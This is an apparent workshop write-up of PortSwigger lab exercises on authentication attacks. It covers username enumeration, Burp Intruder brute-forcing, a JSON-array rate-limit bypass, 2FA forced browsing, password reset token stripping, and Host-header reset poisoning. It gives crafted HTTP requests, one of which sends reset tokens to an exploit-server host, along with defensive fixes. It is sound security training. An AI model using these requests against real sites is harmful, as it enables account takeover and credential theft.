Session 08 / 14 BugXploit Workshop

Day 8: PortSwigger Web Security Academy Authentication & Password Reset Exploitation

Report By: TheWH2 Instructors: Birendra Sah Bishal Shrestha Institute: BugXploit (Koteshwor) Read Time: ~22 mins

Security Notice & Lab Scope

This documentation captures official, hands-on penetration testing training conducted during Day 8 of the Ethical Hacking and Penetration Testing Workshop at BugXploit (Koteshwor, Kathmandu). All authentication attacks, brute-force bypasses, 2FA circumventions, and password reset poisoning proof-of-concepts were executed in authorized laboratory environments hosted by the PortSwigger Web Security Academy. Attempting credential stuffing, unauthorized account takeovers, or Host header manipulation against live production web systems without explicit authorization is illegal under the Electronic Transactions Act (ETA) of Nepal and international cyber law.

1. Anatomy of Enterprise Authentication Flaws

Authentication is the primary security boundary of every modern digital application. It verifies the question: "Are you truly who you claim to be?" When authentication fails, all subsequent authorization boundaries (role-based access control, object-level security, tenant isolation) instantly dissolve, leaving critical business systems and customer data completely exposed.

In modern enterprise applications, authentication rarely fails due to broken mathematical cryptography like AES or RSA. Instead, breaches almost universally stem from subtle logical flaws, information leakages through error messages, inconsistent state machines, misconfigured reverse proxies, and assumptions about user input formats.

During Day 8 of the BugXploit workshop, instructors Birendra Sah and Bishal Shrestha guided the cohort through real-world, hands-on lab environments on the PortSwigger Web Security Academy. The goal of this documentation is strictly defensive and educational: by dissecting the exact HTTP requests, Burp Suite mechanics, and backend logic flaws attackers weaponize, software engineers and penetration testers can architect robust, breach-proof authentication systems.

2. Lab 1: Username Enumeration via Response Differences

Apprentice Lab View Official Lab

Lab: Username enumeration via different responses

Vulnerability Category: Information Disclosure in Authentication (CWE-204: Observable Response Discrepancy).

The Core Problem & Developer Flaw

Consider what happens behind the scenes in many naive backend login handlers. A software engineer writes code to optimize database lookups:

Vulnerable Backend Logic (Node.js / Express)
app.post('/login', async (req, res) => {
  const { username, password } = req.body;
  const user = await db.findUser(username);

  // FLAW 1: Early exit tells the attacker the username doesn't exist!
  if (!user) {
    return res.status(200).send({ 
      error: "Invalid username" 
    });
  }

  const valid = await bcrypt.compare(password, user.passwordHash);
  // FLAW 2: Distinct message confirms username EXISTS!
  if (!valid) {
    return res.status(200).send({ 
      error: "Incorrect password" 
    });
  }

  createSession(res, user);
});
Secure Defensive Implementation
app.post('/login', async (req, res) => {
  const { username, password } = req.body;
  const user = await db.findUser(username);
  
  // Always perform hash check to prevent timing analysis!
  const dummyHash = "$2b$12$e8uq0e...";
  const targetHash = user ? user.passwordHash : dummyHash;
  const valid = await bcrypt.compare(password, targetHash);

  // UNIFORM RESPONSE: Identical text, length, and timing
  if (!user || !valid) {
    return res.status(401).send({ 
      error: "Invalid username or password" 
    });
  }

  createSession(res, user);
});

When the developer outputs Invalid username for non-existent users and Incorrect password for real users, an attacker can enumerate every registered account on the platform with 100% certainty before guessing a single password.

Burp Suite Intruder: Two-Phase Exploitation

To systematically harvest the valid username and password, we use Burp Suite Intruder with a Sniper attack:

Phase 1: Enumerating the Registered Username

  1. Capture HTTP Traffic: In your browser (configured through Burp's Proxy on port 8080), enter any test login attempt (e.g. username=testuser&password=fakepassword).
  2. Send to Intruder: In Burp Suite, open Proxy > HTTP history, find the POST /login request, right-click, and select Send to Intruder (or press Ctrl + I).
  3. Define Payload Positions: Under the Positions tab, choose Sniper attack type. Click Clear §, and add markers around the username field only:
    POST /login HTTP/1.1
    Host: <target-lab-id>.web-security-academy.net
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 56
    
    csrf=pUf1uX6UuCqLg1fLqC8fXyq0Lq0&username=§testuser§&password=fakepassword
  4. Load Wordlist: Navigate to the Payloads tab. Under Payload settings, paste the PortSwigger candidate username wordlist (containing names like admin, root, carlos, ao, wiener, etc.).
  5. Launch & Analyze Results: Click Start attack. Sort the results table by the Length column:
    • Every invalid username produces an HTTP 200 with content length 3,312 bytes and response text: <p class=is-warning>Invalid username</p>.
    • Exactly one payload — ao — produces a response with content length 3,330 bytes and response text: <p class=is-warning>Incorrect password</p>.
    Enumeration Confirmed: The username ao exists on the server! We now know our high-value target.

Phase 2: Password Brute-Forcing Against the Confirmed User

  1. Adjust Intruder Positions: Return to the Intruder Positions tab. Fix the username value to ao, clear all markers, and add payload markers around the password field:
    POST /login HTTP/1.1
    Host: <target-lab-id>.web-security-academy.net
    Content-Type: application/x-www-form-urlencoded
    
    csrf=pUf1uX6UuCqLg1fLqC8fXyq0Lq0&username=ao&password=§fakepassword§
  2. Load Password Wordlist: Under Payloads, paste the candidate password wordlist provided by the lab.
  3. Run the Attack: Click Start attack. Observe the Status column in the Intruder results table:
    • 99+ passwords return status 200 OK with length ~3,330 bytes (displaying Incorrect password).
    • Exactly one password, jessica, returns HTTP 302 Found with a redirection to /my-account?id=ao and a new session cookie!
  4. Verification: Log in manually in the browser with ao : jessica. The account dashboard loads and the lab is solved!

3. Defensive Rate-Limiting & Evasion Strategies

To mitigate automated brute-force attacks, security teams install rate-limiters. A rate-limiter tracks authentication attempts across time windows:

  • IP-based rate limiting: Allows a maximum of 3 failed attempts per minute from a given IP address.
  • Account-based lockout: Locks user carlos after 5 consecutive incorrect attempts.

However, rate limiters often have major architectural blindspots that attackers exploit:

1. IP Header Spoofing

When reverse proxies (Nginx, HAProxy, AWS ALB) blindly forward client headers like X-Forwarded-For or X-Real-IP, attackers can rotate fake IPs on each request, resetting the rate counter.

2. Password Spraying

Instead of trying 1,000 passwords against 1 account (which triggers lockout), attackers try 1 common password (e.g. Autumn2026!) across 1,000 distinct usernames, staying under the per-account threshold.

3. Batch Credential Injection

If the API accepts JSON, submitting an entire array of passwords in a single HTTP request packet tests hundreds of passwords while only incrementing the rate-limiter counter by 1!

4. Lab 2: Bypassing Rate Limits via Multiple Credentials (JSON Array)

Lab: Broken brute-force protection, multiple credentials per request

Vulnerability Category: Rate Limit Bypass via Type Juggling / Batch Array Processing (CWE-307: Improper Restriction of Excessive Authentication Attempts).

The Attack Mechanics: Counting Requests vs. Counting Credentials

In this lab, the target account is carlos. If you attempt 3 incorrect passwords via Burp Intruder or normal login, the server locks you out immediately:

Server Response: You have made too many incorrect login attempts. Please try again in 1 minute.

Why does this happen? The web application firewall (WAF) or API gateway enforces rate limits by counting HTTP request invocations. It increments a Redis counter keyed by client IP: INCR rate_limit:192.168.1.50.

However, look at the structure of the login request when captured in Burp Suite:

POST /login HTTP/2
Host: 0a1f00c90352f3e4821c8da400c9002f.web-security-academy.net
Content-Type: application/json
Content-Length: 48

{"username":"carlos","password":"testpassword"}

Notice that the payload is JSON. In dynamically typed backend languages (or carelessly written type handlers), if an attacker replaces the single string value "testpassword" with a JSON array of 100 strings:

Vulnerable Backend Processing Loop
// Express.js / Python Backend Vulnerability
const passwords = Array.isArray(req.body.password) ? req.body.password : [req.body.password];

for (let candidate of passwords) {
  if (bcrypt.compareSync(candidate, user.passwordHash)) {
    req.session.user = user;
    return res.redirect('/my-account?id=' + user.username); // AUTHENTICATED!
  }
}
return res.status(200).send("Invalid credentials");

The backend loops through each password in the array in a single execution thread. If any password matches, it logs the user in! Meanwhile, from the perspective of the rate-limiter, only 1 single HTTP request was made! The rate-limiter counter remains at 1 / 3, completely bypassing the brute-force defense!

Full Step-by-Step Burp Repeater Exploitation

  1. Capture the Login Request: Log in once with carlos:wrongpass. Go to Proxy > HTTP history, find the POST /login request.
  2. Send to Burp Repeater: Press Ctrl + R.
  3. Construct the Full Batch JSON Array: Replace the body with the entire wordlist of 100 candidate passwords formatted as a JSON array:
    Burp Repeater: Single HTTP/2 Request Containing All 100 Candidate Passwords
    POST /login HTTP/2
    Host: 0a1f00c90352f3e4821c8da400c9002f.web-security-academy.net
    Cookie: session=tc5vIGDaX8RP9ycnF62WGm4yIfhsG7X2
    Content-Type: application/json
    Content-Length: 1042

    {"username":"carlos","password":[
      "123456", "password", "12345678", "qwerty", "123456789", "12345", "1234", "111111",
      "1234567", "dragon", "123123", "baseball", "football", "welcome", "sunshine", "monkey",
      "letmein", "charlie", "donald", "mustang", "princess", "shadow", "master", "michael",
      "superman", "696969", "harley", "jordan", "killer", "trustno1", "hunter", "liverpool",
      "chelsea", "arsenal", "alexander", "starwars", "orange", "yellow", "freedom", "secret",
      "pepper", "cookie", "summer", "winter", "spring", "autumn", "diamond", "emerald",
      "computer", "internet", "network", "windows", "linux", "system", "admin", "carlos",
      "barcelona", "madrid", "brazil", "argentina", "london", "paris", "tokyo", "newyork",
      "matrix", "batman", "pokemon", "spiderman", "robert", "thomas", "william", "daniel",
      "coffee", "ginger", "chester", "bailey", "buster", "shadow", "simba", "bandit",
      "buster", "sammy", "tucker", "montana", "moon", "moscow"
    ]}
  4. Dispatch the Request: In Burp Repeater, click Send.
  5. Inspect Response: Because Carlos's real password (e.g. montana) is inside the array, the backend matches it during the loop and immediately returns an HTTP 302 Found redirection with a valid session cookie:
    HTTP/2 302 Found
    Location: /my-account?id=carlos
    Set-Cookie: session=zXDZ44Wiyy9FCEfgcs3G2sSC98nJfHNz; Secure; HttpOnly; SameSite=None
    X-Frame-Options: SAMEORIGIN
    Content-Length: 0
  6. Hijack the Session in Browser: In Burp Repeater, right-click anywhere in the response pane, select Show response in browser, click Copy, and paste the URL (e.g., http://burpsuite/show/1/...) into your proxy-configured browser. The page renders Carlos's account, solving the lab!
How Developers Fix This Vulnerability
Strictly validate input schemas before processing. If req.body.password is anything other than a primitive string, reject the entire request immediately with HTTP 400 Bad Request:
// Strict schema validation with Joi / Zod
const schema = z.object({
  username: z.string().min(1).max(50),
  password: z.string().min(1).max(128) // Rejects arrays, objects, or non-strings!
});

5. Two-Factor Authentication (2FA) Architecture & Attack Vectors

Two-Factor Authentication (2FA) requires two distinct verification categories:

  • Knowledge Factor: Something the user knows (password, PIN).
  • Possession Factor: Something the user has (hardware YubiKey, Authenticator app TOTP, SMS code).

While 2FA is an industry standard, flawed implementations often suffer from critical vulnerabilities:

1. State Machine Desynchronization

The backend issues a full session cookie right after the password check, and merely uses client-side JavaScript or a temporary route redirect to show the 2FA prompt. The authenticated dashboard routes never verify if the 2FA flag was actually approved.

2. Delivery Channel Vulnerabilities

Email 2FA: If an attacker compromises the victim's email, both factors are breached simultaneously.
SMS 2FA: Vulnerable to SIM-swapping, SS7 telecom interception, and carrier phishing. Hardware security keys (FIDO2 / WebAuthn) remain the gold standard.

6. Lab 3: 2FA Simple Bypass via Forced Browsing

Apprentice Lab View Official Lab

Lab: 2FA simple bypass

Vulnerability Category: Broken State Machine & Forced Browsing (CWE-287: Improper Authentication).

Vulnerability Root Cause

In this lab, you are given your own credentials (wiener:peter) and target victim credentials (carlos:montoya).

When you submit a username and password, the server responds with:

HTTP/2 302 Found
Location: /login2
Set-Cookie: session=Bqf9YxO24...; Path=/; Secure; HttpOnly

Notice the severe design failure: The server created an active session cookie before 2FA verification took place. The application assumes that because it redirected the client's browser to /login2, the user is forced to enter the 2FA code. But HTTP is stateless! The client controls the browser address bar and can request any URL at will.

Step-by-Step Exploitation

  1. Establish Normal Flow: Log in as wiener:peter. The browser is redirected to /login2. Check your email client, retrieve the 4-digit code (e.g., 0491), enter it, and observe the destination URL:
    GET /my-account?id=wiener HTTP/1.1
  2. Log Out: Click Log out to clear your session.
  3. Login as Victim: Enter carlos:montoya on the login page.
  4. Intercept the 2FA State: The browser is redirected to /login2 and prompts for Carlos's 4-digit 2FA code (which is sent to Carlos's private email, inaccessible to us).
  5. Execute Forced Browsing: Do NOT submit any 2FA code. Instead, manually edit the URL bar in your browser to:
    https://<target-lab-id>.web-security-academy.net/my-account
    and hit Enter!
  6. Bypass Confirmed: Because the backend endpoint /my-account only checks:
    if (session.loggedIn) { ... } // Fails to check: if (!session.twoFactorCompleted)
    The server renders Carlos's account page, achieving full bypass and solving the lab!
Defensive Remediation: Multi-Stage State Enforcement
Never grant a full authorization session cookie at Stage 1. Instead, issue a temporary, restricted token that is only authorized to call the /verify-2fa endpoint:
// Middleware protecting all /account routes
function requireFullAuth(req, res, next) {
  if (!req.session.userId) return res.redirect('/login');
  if (req.session.twoFactorRequired && !req.session.twoFactorVerified) {
    return res.status(403).json({ error: "2FA verification required" });
  }
  next();
}

7. Lab 4: Password Reset Broken Logic (Token Stripping)

Apprentice Lab View Official Lab

Lab: Password reset broken logic

Vulnerability Category: Parameter Tampering & Broken State Handling in Password Reset (CWE-640: Weak Password Recovery Mechanism).

How the Flawed Reset Mechanism Works

When a legitimate user resets their password, a secure application generates a cryptographically random token tied to their database record:

  1. User requests password reset for wiener.
  2. Server generates token_abc123 and saves it in the database: users[wiener].reset_token = "token_abc123".
  3. User clicks the email link: /forgot-password?temp-forgot-password-token=token_abc123.
  4. User submits a new password. The server checks: "Does this token exist? Which user does this token belong to?" It resets that user's password.

However, in this vulnerable application, the password reset form embeds a hidden field containing the username:

POST /forgot-password?temp-forgot-password-token=q1w2e3r4t5y6 HTTP/1.1
Host: <target-lab-id>.web-security-academy.net
Content-Type: application/x-www-form-urlencoded

temp-forgot-password-token=q1w2e3r4t5y6&username=wiener&new-password-1=password123&new-password-2=password123

Look at the dangerous logic flaw in how the backend processes this submission:

Flawed Backend Password Reset Logic
// VULNERABLE CHECK
const targetUser = await db.getUser(req.body.username);

// If token parameter is missing or empty, this check evaluates to TRUE or is bypassed!
if (req.body.temp-forgot-password-token) {
  if (req.body.temp-forgot-password-token !== targetUser.resetToken) {
    return res.send("Invalid token");
  }
}
// Because Carlos never requested a reset, Carlos.resetToken is null / unassigned!
// If the attacker provides an empty token or removes it, the condition passes!
targetUser.password = hash(req.body.new-password-1);
await targetUser.save();

Step-by-Step Exploitation via Token Stripping

  1. Request Password Reset on Controlled Account: Go to the login page, click Forgot password?, and submit wiener.
  2. Open Email Client: Click the password reset link delivered to Wiener's inbox. The reset form loads in your browser.
  3. Intercept Form Submission: Type a new password (e.g. password123). In Burp Suite, turn Intercept on, and click Submit.
  4. Send to Repeater & Tamper Parameters: Send the captured POST /forgot-password request to Burp Repeater (Ctrl + R).
  5. Strip the Token & Switch Username: In Burp Repeater:
    • Delete the token value from the query string: ?temp-forgot-password-token= (or remove the parameter completely).
    • In the body, delete the temp-forgot-password-token parameter entirely.
    • Change username=wiener to username=carlos.
    • Set new-password-1=hacked123&new-password-2=hacked123.
    Burp Repeater: Tampered Request
    POST /forgot-password?temp-forgot-password-token= HTTP/1.1
    Host: <target-lab-id>.web-security-academy.net
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 53

    username=carlos&new-password-1=hacked123&new-password-2=hacked123
  6. Execute Attack: Click Send. The server responds with an HTTP 302 Found redirecting to /login! Carlos's password has been successfully overwritten!
  7. Log In as Carlos: In the browser, log in with carlos : hacked123 to achieve complete account takeover.

8. Host Header Injection & Reverse Proxy Middleware

Modern web architectures place applications behind reverse proxies, CDNs, and load balancers (Cloudflare, AWS CloudFront, Nginx). When a client connects to the proxy, the proxy forwards the request to internal application servers.

To keep track of what original domain the client visited, reverse proxies insert headers such as:

  • Host: victim-bank.com
  • X-Forwarded-Host: victim-bank.com
  • X-Forwarded-Proto: https

The critical flaw occurs when developers construct absolute URLs using user-controlled HTTP headers:

Dangerous Dynamic URL Construction (PHP / Django / Express)
// INSECURE: Trusting client-supplied middleware headers
$host = isset($_SERVER['HTTP_X_FORWARDED_HOST']) ? $_SERVER['HTTP_X_FORWARDED_HOST'] : $_SERVER['HTTP_HOST'];
$resetLink = "https://" . $host . "/forgot-password?token=" . $secureToken;

// Email sent to victim:
mail($victimEmail, "Reset Your Password", "Click here: " . $resetLink);

9. Lab 5: Password Reset Poisoning via Middleware

Practitioner Lab View Official Lab

Lab: Password reset poisoning via middleware

Vulnerability Category: Password Reset Poisoning / Host Header Injection (CWE-640 & CWE-20).

The Attack Mechanics: Hijacking the Reset Link Domain

If an attacker triggers a password reset for carlos while injecting their own domain into X-Forwarded-Host, the backend generates a 100% legitimate cryptographic reset token for Carlos, but embeds it into a URL pointing to the attacker's server!

When Carlos opens his email and clicks the reset link, his browser sends the secret reset token directly into the attacker's web server access logs!

Full Step-by-Step Exploitation

  1. Obtain Attacker Exploit Server URL: In the PortSwigger lab banner, click Go to exploit server. Note your unique domain (e.g. exploit-0a2b00c3...exploit-server.net).
  2. Capture the Password Reset Request: On the lab website, click Forgot your password?, enter carlos, and submit the form while intercepting in Burp Suite.
  3. Send to Burp Repeater: Find the POST /forgot-password request in Burp Proxy history and send it to Repeater.
  4. Inject X-Forwarded-Host Header: In Burp Repeater, inject the X-Forwarded-Host header pointing to your exploit server:
    Burp Repeater: Poisoned Password Reset Request
    POST /forgot-password HTTP/1.1
    Host: 0af200d704543d3b80b2a75800dc00cb.web-security-academy.net
    X-Forwarded-Host: exploit-0a2b00c304243d54807ea62f01700067.exploit-server.net
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 53

    csrf=G7b4vI3zR0hZ2...&username=carlos
  5. Dispatch Poisoned Request: Click Send. The server responds with HTTP 200 OK: "Please check your email for a password reset link."
  6. Victim Interaction & Token Harvest: The simulated victim (Carlos) opens his email and clicks the link. Go to your Exploit Server tab and click Access log. Look at the bottom entries:
    Attacker Exploit Server: Captured Access Log Entry
    10.0.4.128 - - [16/Sep/2026:06:22:45 +0000] "GET /forgot-password?temp-forgot-password-token=M8aK1pL0vX4eQ9wZ2nR7 HTTP/1.1" 404 "User-Agent: Mozilla/5.0..."
    Carlos's secret token (M8aK1pL0vX4eQ9wZ2nR7) was delivered right into our hands!
  7. Execute Account Takeover: In your browser, navigate to the legitimate target lab domain, appending Carlos's stolen token:
    https://0af200d704543d3b80b2a75800dc00cb.web-security-academy.net/forgot-password?temp-forgot-password-token=M8aK1pL0vX4eQ9wZ2nR7
  8. Reset Password: Enter a new password (e.g. password123). Submit the form and log in as Carlos. The lab is completed!

10. Defense-in-Depth & Remediation Architecture

To protect modern enterprise systems against the complete spectrum of authentication flaws discovered on Day 8, engineering teams must implement defense-in-depth across the code, architecture, and network layers:

Enterprise Remediation Blueprint for Developers
  • 1. Eliminate Observable Response Discrepancies: Always return uniform error messages ("Invalid username or password"). Ensure the response byte length, HTTP status code (401 Unauthorized), and execution timing (via constant-time comparison) are strictly identical regardless of whether the user exists.
  • 2. Enforce Strict Parameter Types & Schema Validation: Never trust request data types. Use validation libraries (Zod, Pydantic, Joi) to strictly reject arrays or objects on password fields:
    if (typeof req.body.password !== 'string') return res.status(400).send("Invalid input");
  • 3. Count Credentials, Not HTTP Packets: In API gateways and rate-limiters, charge rate-limiting quotas based on the number of credentials processed rather than raw HTTP requests.
  • 4. Enforce Multi-Stage State Verification for 2FA: Never issue an active session cookie upon Stage 1 (password) verification. Issue a temporary, non-privileged token that can only be redeemed at the 2FA endpoint. Verify 2FA status at every protected endpoint.
  • 5. Never Construct URLs from Dynamic Request Headers: Never trust Host, X-Forwarded-Host, or Client-IP headers for sensitive application logic. Always store the canonical base URL in secure environment variables:
    const resetLink = `${process.env.APP_BASE_URL}/forgot-password?token=${secureToken}`;
  • 6. Cryptographically Bind Reset Tokens to Users: Password reset tokens must be tied to a specific user ID in the database, single-use, and expire within a short window (e.g. 15 minutes). The reset form must never rely on a client-submitted username field.

11. Day 8 Summary & Key Takeaways

Summary of Day 8 Practical Findings

  • Enumeration Feeds Brute-Force: Subtle differences in error messages (Invalid username vs Incorrect password) allow attackers to isolate valid accounts and focus computational power with sniper accuracy.
  • Array Types Circumvent Rate Limits: Submitting 100 passwords in a JSON array within a single HTTP request packet exploits WAFs that only count request packets.
  • 2FA Requires Server-Side State Gates: If sensitive endpoints fail to verify 2FA completion, forced browsing directly to /my-account bypasses the second factor entirely.
  • Middleware Trust Boundaries Enable Account Takeovers: Forwarding headers like X-Forwarded-Host without validation allows unauthenticated attackers to steal password reset tokens out-of-band.
DEFENSIVE LEARNING NOTICE: Strictly For Educational & Security Engineering Purposes

All penetration testing methodologies, raw HTTP payloads, and Burp Suite walk-throughs documented in this report were performed strictly within authorized PortSwigger Web Security Academy laboratory environments during the BugXploit workshop. We do not promote, condone, or encourage any illegal activity. This report is published so developers and security practitioners can understand how authentication vulnerabilities are exploited and engineer resilient defenses against unauthorized account takeovers. Attempting these attacks against systems without prior written authorization is illegal under the Electronic Transactions Act (ETA) of Nepal and international cyber laws.